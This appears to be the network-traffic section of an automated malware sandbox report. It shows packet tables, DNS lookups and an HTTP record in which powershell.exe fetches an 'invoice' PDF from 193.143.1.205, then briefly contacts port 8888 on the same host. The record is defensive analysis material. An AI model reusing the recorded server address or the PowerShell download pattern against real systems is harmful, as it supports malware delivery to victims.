Jan 10, 2025 17:32:40.726339102 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.726351976 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.726366043 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.726378918 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.726396084 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.726418018 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.730976105 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.731035948 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.731050014 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.731061935 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.731065035 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.731074095 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.731086969 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.731098890 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.731272936 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.758232117 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.758290052 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.758348942 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.758398056 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.758433104 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.769067049 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.769109964 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.769146919 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.769182920 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.769237995 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.769329071 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.787342072 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.792599916 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.792885065 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.792915106 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.792928934 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.793102980 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.797427893 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.797508001 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.797604084 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.797624111 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.797637939 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.797655106 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.797668934 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.797678947 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.797688961 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.797689915 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.797702074 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.797713041 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.797723055 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.797736883 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.797748089 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.797760010 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.797772884 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.797774076 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.797774076 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.797774076 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.797785044 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.797791958 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.797796965 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.797811985 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.797822952 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.797835112 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.797846079 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.797858953 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.797858953 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.797921896 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.807137966 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.807207108 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.807223082 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.807243109 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.807265043 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.807282925 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.807295084 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.807307005 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.807332039 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.807332039 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.807332039 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.807334900 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.807351112 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.807360888 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.807380915 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.807393074 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.807404995 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.807423115 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.807429075 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.807429075 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.807429075 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.807440996 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.807452917 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.807465076 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.807477951 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.807579041 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.807588100 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.807600021 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.807611942 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.807624102 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.807624102 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.807624102 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.807624102 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.807637930 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.807651043 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.807702065 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.807702065 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.807810068 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.807868958 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.807879925 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.807893038 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.807904959 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.807913065 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.807913065 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.807919025 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.807931900 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.807964087 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.807984114 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.807996035 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.808003902 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.808003902 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.808003902 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.808007956 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.808125019 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.808140993 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.808156967 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.808166027 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.808166027 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.808173895 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.808193922 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.808207035 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.808255911 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.808271885 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.808285952 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.808295965 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.808295965 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.808295965 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.808298111 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.808314085 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.808347940 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.808360100 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.808361053 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.808361053 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.808382034 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.808393002 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.808404922 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.808418989 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.808470964 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.808470964 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.808470964 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.808487892 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.808654070 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.808667898 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.808681011 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.808692932 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.808706999 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.808718920 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.808722973 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.808722973 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.808732033 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.808746099 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.808780909 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.808793068 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.808805943 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.808811903 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.808824062 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.808836937 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.808851004 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.808862925 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.808876991 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.808907986 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.808907986 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.808907986 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.808918953 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.808964968 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.808976889 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.809037924 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.809037924 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.809051991 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.809063911 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.809076071 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.809087992 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.809132099 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.809132099 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.809181929 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.809194088 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.809214115 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.809226990 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.809241056 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.809252977 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.809267044 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.809269905 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.809269905 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.809355974 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.809355974 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.817706108 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.817720890 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.817774057 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.817786932 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.817800999 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.817811966 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.817825079 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.817837954 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.817862988 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.817862988 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.817862988 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.818340063 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.855969906 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.855988026 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.856013060 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.856024027 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.856036901 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.856038094 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.856051922 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.856075048 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.856086969 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.856097937 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.856110096 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.856120110 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.856120110 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.856122971 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.856144905 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.856157064 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.856165886 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.856169939 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.856183052 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.856201887 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.856250048 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.856261969 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.856273890 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.856286049 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.856316090 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.856316090 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.856333017 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.856359959 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.856372118 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.856384039 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.856395960 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.856409073 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.856432915 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.856432915 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.856432915 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.856473923 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.856487036 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.856498003 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.856509924 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.856513023 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.856571913 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.893966913 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.894001961 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.894016027 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.894053936 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.894093037 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.894093037 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.894157887 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.894176006 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.894187927 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.894200087 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.894212961 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.894224882 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.894224882 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.894224882 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.894239902 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.894254923 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.894262075 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.894296885 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.894296885 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.894320965 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.894332886 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.894344091 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.894452095 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:40.894493103 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:40.894493103 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:41.712883949 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:42.097076893 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:42.498589039 CET	49735	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:42.503418922 CET	8888	49735	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:42.504906893 CET	49735	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:42.505037069 CET	49735	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:42.509818077 CET	8888	49735	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:43.310115099 CET	8888	49735	193.143.1.205	192.168.2.6
Jan 10, 2025 17:32:43.359613895 CET	49735	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 17:32:43.709512949 CET	49735	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 17:34:08.702666998 CET	54104	53	192.168.2.6	1.1.1.1
Jan 10, 2025 17:34:08.707521915 CET	53	54104	1.1.1.1	192.168.2.6
Jan 10, 2025 17:34:08.707597971 CET	54104	53	192.168.2.6	1.1.1.1
Jan 10, 2025 17:34:08.707670927 CET	54104	53	192.168.2.6	1.1.1.1
Jan 10, 2025 17:34:08.712503910 CET	53	54104	1.1.1.1	192.168.2.6
Jan 10, 2025 17:34:09.153626919 CET	53	54104	1.1.1.1	192.168.2.6
Jan 10, 2025 17:34:09.154647112 CET	54104	53	192.168.2.6	1.1.1.1
Jan 10, 2025 17:34:09.159732103 CET	53	54104	1.1.1.1	192.168.2.6
Jan 10, 2025 17:34:09.159821987 CET	54104	53	192.168.2.6	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 17:32:55.465353012 CET	63451	53	192.168.2.6	1.1.1.1
Jan 10, 2025 17:34:08.700347900 CET	53	54517	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 17:32:55.465353012 CET	192.168.2.6	1.1.1.1	0xc953	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 17:32:55.472095966 CET	1.1.1.1	192.168.2.6	0xc953	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49711	193.143.1.205	80	6068	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 17:32:39.338934898 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 17:32:40.134351015 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:32:40 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
